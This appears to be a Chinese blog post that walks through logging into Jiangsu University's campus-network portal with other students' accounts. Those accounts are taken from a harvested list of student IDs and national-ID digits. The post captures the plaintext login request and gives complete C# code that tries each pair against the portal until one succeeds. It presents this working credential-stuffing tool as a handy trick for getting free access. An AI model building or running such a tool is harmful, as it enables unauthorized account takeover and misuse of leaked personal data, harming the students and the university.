需求:現在江蘇大學在教學行政區上網,用的是自己的學號+密碼,經過門戶網站登錄,但是時間是有限制的,研究生100hs,本科生30hs。然而存在這樣一個事實,對於計算機學院的學生來講,基本每天24hs泡在網上,100hs明顯不夠用啊!!!!而其他學院的學生因為很多沒有實驗室,或是對網絡的需求小或是基本為0,而存在大量浪費!因此,這直接導致了這樣一個事實,計算機學院的學生沒網上,或者說為了上網,要從大量的賬號中,一個一個的純手工試,苦不堪言啊!!!!
可行性:由於上網的賬號和密碼分別對應的是學生的學號和身份證號后6位(可以更改密碼,因為很多人不用上網,所以沒改,我們可以拿來用用。O(∩_∩)O哈哈~),現在可獲得很多學生的注冊信息(包含以上信息。)好了資源有了(在工程根目錄下Account.txt文件)。技術積累方面,想到了FCL中得WebClient,利用MSDN查詢該類信息,發現用於將資料上載至資源的 WebClient 方法如下:
查閱相關方法的具體描述,DebugLZQ認為最簡答的方法,就是用UploadString方法,向服務器發送Post請求。 詳細信息請參考MSDN文檔:http://msdn.microsoft.com/zh-tw/library/system.net.webclient(v=VS.80).aspx。
在前面分析完了騰訊的網頁登陸加密機制后,下面我們來看看“江蘇大學”的。
打開江蘇大學上網登陸頁面:http://192.168.100.83/,頁面如下:
用Fiddler2查閱Http請求,發現結果如下:
(竟然都是明文!!!)完全是0防備啊!!!!!既然這樣子的話,偽造HTTP請求的工作就變得太簡單了!(如果像是前面分析的騰訊網頁登陸加密機制那樣,偽造起來要麻煩一點,為了偽造,需要分析它的加密機制,以給服務器發送正確格式的數據。)
string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";
這里的userName和password就是前面看到的明文!構建這個請求就很簡單了。
下面給大家附上源碼,很簡短,但是很實用!如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading;
using System.Net;
namespace EasyForDebugLZQ
{
class Program
{
static void Main(string[] args)
{
StreamReader sr = new StreamReader(@"account.txt");
WebClient webClient = new WebClient();
webClient.Encoding = Encoding.Default;
for (int i=0;i<100 ;i++)
{
string tempString = sr.ReadLine();
Console.WriteLine(tempString);
Console.WriteLine(tempString.Substring(0, 10));
Console.WriteLine(tempString.Substring(tempString.Length - 6, 6));
string userName = tempString.Substring(0, 10);
string password = tempString.Substring(tempString.Length - 6, 6);
string postStr = @"DDDDD="+userName +@"&upass=" +password + @"&0MKKey=";
string s = webClient.UploadString(@"http://192.168.100.83/", postStr);
Thread.Sleep(1000);
if (s.Length == 3630)
{
Console.WriteLine("Login Success! UserName="+userName +"Password="+password );
break;
}
}
}
}
}
程序很簡單,效果如下(因為今天是1號,所以第一個賬號就登陸成功了!O(∩_∩)O哈哈~):
這時就可以打開你的瀏覽器,Happy的上網了!(這里DebugLZQ避免了“程序中表達式的副作用問題”,當初DebugLZQ着手做這個小工具的時候,遇到了這個問題。在園子里,百度上,Google里搜尋半天,基本沒有找到解決方法!DebugLZQ給出解決方案,希望對遇到同樣問題的博友有點幫助,請期待DebugLZQ的下一篇博文。)
祝各位博友元旦快樂!!!!!!!!!!!!!!
【請點擊下面的“綠色通道”-"關注DebugLZQ",DebugLZQ樂意與各位一同學習進步!,各位元旦快樂!Happy New Year!】
----------------
Update:
運行這個小工具的前提是網絡通暢,也就是說我們的電腦的IP不能和別人的沖突。而在學校這個環境,現實的實際是:IP先到先得。所以為自己尋找一個可用的IP,很多時候比較讓人煩心,特別是大部分IP被占用的時候。
這個請參考DebugLZQ后面的博文:
(江蘇大學行政教學區)校園網上網幫助之二----自動設置IP小助手【城市熱點】